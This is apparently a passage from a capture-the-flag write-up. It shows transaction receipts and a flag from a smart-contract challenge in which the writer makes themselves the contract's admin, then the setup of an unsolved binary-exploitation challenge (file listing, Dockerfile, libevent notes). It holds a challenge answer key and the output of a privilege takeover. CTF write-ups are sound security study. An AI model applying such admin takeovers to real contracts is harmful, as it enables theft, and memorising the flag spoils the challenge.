AttributeDict({'type': 2, 'status': 1, 'cumulativeGasUsed': 57407, 'logs': [AttributeDict({'address': '0xe6Cc6358e23fCb274c0E0696D6f9635BD9f223b1', 'topics': [HexBytes('0x683760941d0a318793d001a410e651a64d535a82f56243db26544a40b51bc41c')], 'data': HexBytes('0x000000000000000000000000e5ed47bcc12028b9be183a80b8821119e9397ef70000000000000000000000000000000000000000000000000000000000000006'), 'blockHash': HexBytes('0x5c9de084ca2aabb1e06311822139d0b06a5524c9967934456313970b2b717ca0'), 'blockNumber': 111, 'blockTimestamp': '0x675c7d96', 'transactionHash': HexBytes('0x74ede9eff7746c03fb7abc02bd427fed6d65dca67abea3e1ddbb47db89d6ec29'), 'transactionIndex': 0, 'logIndex': 0, 'removed': False})], 'logsBloom': HexBytes('0x00000000000000000000008000000000000000000000000000000000000000000000000000000000000000000000000000010000000000000000000000000000000000000000000000000000000000000008000000000000000000000000000000000000000000000000000000000000000000000000000000200000000000000000000010001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000'), 'transactionHash': HexBytes('0x74ede9eff7746c03fb7abc02bd427fed6d65dca67abea3e1ddbb47db89d6ec29'), 'transactionIndex': 0, 'blockHash': HexBytes('0x5c9de084ca2aabb1e06311822139d0b06a5524c9967934456313970b2b717ca0'), 'blockNumber': 111, 'gasUsed': 57407, 'effectiveGasPrice': 428, 'blobGasPrice': 1, 'from': '0xED062CFaCcbaFC3789636c1d19e74CA80e05b7b0', 'to': '0xe6Cc6358e23fCb274c0E0696D6f9635BD9f223b1', 'contractAddress': None})
AttributeDict({'type': 2, 'status': 1, 'cumulativeGasUsed': 57407, 'logs': [AttributeDict({'address': '0xe6Cc6358e23fCb274c0E0696D6f9635BD9f223b1', 'topics': [HexBytes('0x683760941d0a318793d001a410e651a64d535a82f56243db26544a40b51bc41c')], 'data': HexBytes('0x000000000000000000000000e5ed47bcc12028b9be183a80b8821119e9397ef70000000000000000000000000000000000000000000000000000000000000007'), 'blockHash': HexBytes('0xb7be050ce1d69fd38a23430bdd8006d8a008cb360bdeb17c855660e871021a5b'), 'blockNumber': 112, 'blockTimestamp': '0x675c7d98', 'transactionHash': HexBytes('0xedf70f661ac6ba52ee94eb49e1bcb00bf6818c0036174a814e7be07ffc3606a4'), 'transactionIndex': 0, 'logIndex': 0, 'removed': False})], 'logsBloom': HexBytes('0x00000000000000000000008000000000000000000000000000000000000000000000000000000000000000000000000000010000000000000000000000000000000000000000000000000000000000000008000000000000000000000000000000000000000000000000000000000000000000000000000000200000000000000000000010001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000'), 'transactionHash': HexBytes('0xedf70f661ac6ba52ee94eb49e1bcb00bf6818c0036174a814e7be07ffc3606a4'), 'transactionIndex': 0, 'blockHash': HexBytes('0xb7be050ce1d69fd38a23430bdd8006d8a008cb360bdeb17c855660e871021a5b'), 'blockNumber': 112, 'gasUsed': 57407, 'effectiveGasPrice': 375, 'blobGasPrice': 1, 'from': '0xED062CFaCcbaFC3789636c1d19e74CA80e05b7b0', 'to': '0xe6Cc6358e23fCb274c0E0696D6f9635BD9f223b1', 'contractAddress': None})
AttributeDict({'type': 2, 'status': 1, 'cumulativeGasUsed': 57407, 'logs': [AttributeDict({'address': '0xe6Cc6358e23fCb274c0E0696D6f9635BD9f223b1', 'topics': [HexBytes('0x683760941d0a318793d001a410e651a64d535a82f56243db26544a40b51bc41c')], 'data': HexBytes('0x000000000000000000000000e5ed47bcc12028b9be183a80b8821119e9397ef70000000000000000000000000000000000000000000000000000000000000008'), 'blockHash': HexBytes('0x60738ec62044bf42d00f2e07e1514a8e2fbb3942e7f3f4fff686484403e713d1'), 'blockNumber': 113, 'blockTimestamp': '0x675c7d9a', 'transactionHash': HexBytes('0x51a96752e1a7867d46ed841e56120e7d9e4dca6aef1c2b0e4567e0a1d16bed41'), 'transactionIndex': 0, 'logIndex': 0, 'removed': False})], 'logsBloom': HexBytes('0x00000000000000000000008000000000000000000000000000000000000000000000000000000000000000000000000000010000000000000000000000000000000000000000000000000000000000000008000000000000000000000000000000000000000000000000000000000000000000000000000000200000000000000000000010001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000'), 'transactionHash': HexBytes('0x51a96752e1a7867d46ed841e56120e7d9e4dca6aef1c2b0e4567e0a1d16bed41'), 'transactionIndex': 0, 'blockHash': HexBytes('0x60738ec62044bf42d00f2e07e1514a8e2fbb3942e7f3f4fff686484403e713d1'), 'blockNumber': 113, 'gasUsed': 57407, 'effectiveGasPrice': 329, 'blobGasPrice': 1, 'from': '0xED062CFaCcbaFC3789636c1d19e74CA80e05b7b0', 'to': '0xe6Cc6358e23fCb274c0E0696D6f9635BD9f223b1', 'contractAddress': None})
AttributeDict({'type': 2, 'status': 1, 'cumulativeGasUsed': 57407, 'logs': [AttributeDict({'address': '0xe6Cc6358e23fCb274c0E0696D6f9635BD9f223b1', 'topics': [HexBytes('0x683760941d0a318793d001a410e651a64d535a82f56243db26544a40b51bc41c')], 'data': HexBytes('0x000000000000000000000000e5ed47bcc12028b9be183a80b8821119e9397ef70000000000000000000000000000000000000000000000000000000000000009'), 'blockHash': HexBytes('0x9d3a43729bcfa283567f78f2abc384caa40e9572a2a2bcd0e53124a61d5a6d38'), 'blockNumber': 114, 'blockTimestamp': '0x675c7d9c', 'transactionHash': HexBytes('0x308e07843bd38a28abc25a84b449ae659b21b44aacfc0d86d949a1ab4537a60a'), 'transactionIndex': 0, 'logIndex': 0, 'removed': False})], 'logsBloom': HexBytes('0x00000000000000000000008000000000000000000000000000000000000000000000000000000000000000000000000000010000000000000000000000000000000000000000000000000000000000000008000000000000000000000000000000000000000000000000000000000000000000000000000000200000000000000000000010001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000'), 'transactionHash': HexBytes('0x308e07843bd38a28abc25a84b449ae659b21b44aacfc0d86d949a1ab4537a60a'), 'transactionIndex': 0, 'blockHash': HexBytes('0x9d3a43729bcfa283567f78f2abc384caa40e9572a2a2bcd0e53124a61d5a6d38'), 'blockNumber': 114, 'gasUsed': 57407, 'effectiveGasPrice': 289, 'blobGasPrice': 1, 'from': '0xED062CFaCcbaFC3789636c1d19e74CA80e05b7b0', 'to': '0xe6Cc6358e23fCb274c0E0696D6f9635BD9f223b1', 'contractAddress': None})
AttributeDict({'type': 2, 'status': 1, 'cumulativeGasUsed': 40307, 'logs': [AttributeDict({'address': '0xe6Cc6358e23fCb274c0E0696D6f9635BD9f223b1', 'topics': [HexBytes('0x683760941d0a318793d001a410e651a64d535a82f56243db26544a40b51bc41c')], 'data': HexBytes('0x0000000000000000000000008469afeae8b562ab9653775be6ace82e1a304869000000000000000000000000000000000000000000000000000000000000000a'), 'blockHash': HexBytes('0xa4f8903ec4f2dec3f5c69d201e48d3f90bc7841a90dd30ce79ad8b158d2767da'), 'blockNumber': 115, 'blockTimestamp': '0x675c7d9e', 'transactionHash': HexBytes('0x16fba6b7e88f64154b6ca1cb196ae566eacb8918ae3e2ca17f275b0bc976a94f'), 'transactionIndex': 0, 'logIndex': 0, 'removed': False})], 'logsBloom': HexBytes('0x00000000000000000000008000000000000000000000000000000000000000000000000000000000000000000000000000010000000000000000000000000000000000000000000000000000000000000008000000000000000000000000000000000000000000000000000000000000000000000000000000200000000000000000000010001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000'), 'transactionHash': HexBytes('0x16fba6b7e88f64154b6ca1cb196ae566eacb8918ae3e2ca17f275b0bc976a94f'), 'transactionIndex': 0, 'blockHash': HexBytes('0xa4f8903ec4f2dec3f5c69d201e48d3f90bc7841a90dd30ce79ad8b158d2767da'), 'blockNumber': 115, 'gasUsed': 40307, 'effectiveGasPrice': 254, 'blobGasPrice': 1, 'from': '0xED062CFaCcbaFC3789636c1d19e74CA80e05b7b0', 'to': '0xe6Cc6358e23fCb274c0E0696D6f9635BD9f223b1', 'contractAddress': None})
Success! Admin is me: 0x8469afEae8B562Ab9653775BE6ace82E1A304869
Clicking “Validate Challenge” back on the website returns the flag:
Flag: HV24{SANT4_MIN3S_BL0CKS_4_MERRYC01NS}
HV24.13
Challenge
HV24.13 Server Hypervisor | |
---|---|
Categories: | EXPLOITATION |
Level: | leet |
Author: | .fabi07 |
In order to afford all the presents this year, Santa wanted to start his own little SaaS business, as he had heard that they were quite profitable. He decided to build his own custom web server hypervisor. But he suspects that some evil force may have punched a few holes in his perfect defense. Can you help him find them?
Hint:
Santa said you should focus on the global variables.
There’s both a downloadable and a Docker.
Resources
The downloaded zip archive has two files:
oxdf@hacky$ unzip resource.zip
Archive: resource.zip
inflating: Dockerfile
inflating: main
main
is an ELF binary:
oxdf@hacky$ file main
main: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=3651c081dd3541e3cdf52f6ee11dfd859e3b5942, for GNU/Linux 3.2.0, with debug_info, not stripped
Dockerfile
runs a container running main
:
# First stage: Build Libevent using system packages
FROM ubuntu:22.04
RUN apt update && apt install -y git gcc make cmake
RUN git clone https://github.com/libevent/libevent.git /libevent/
# Install dependencies and Libevent from package repository
# RUN apt update && apt install -y libevent-dev
RUN cd /libevent/ && mkdir build && cd build && cmake .. && make && make install
COPY ./main /code/main
COPY ./flag.txt /code/flag.txt
RUN chmod +x /code/main
ENV LD_LIBRARY_PATH="/usr/local/lib"
# Final stage is minimal with only dependencies and binary
CMD ["/code/main"]
It specifically installs and builds libevent:
The libevent API provides a mechanism to execute a callback function when a specific event occurs on a file descriptor or after a timeout has been reached. Furthermore, libevent also support callbacks due to signals or regular timeouts.
libevent is meant to replace the event loop found in event driven network servers. An application just needs to call event_dispatch() and then add or remove events dynamically without having to change the event loop.
I wasn’t able to complete this challenge during the timeframe for the competition.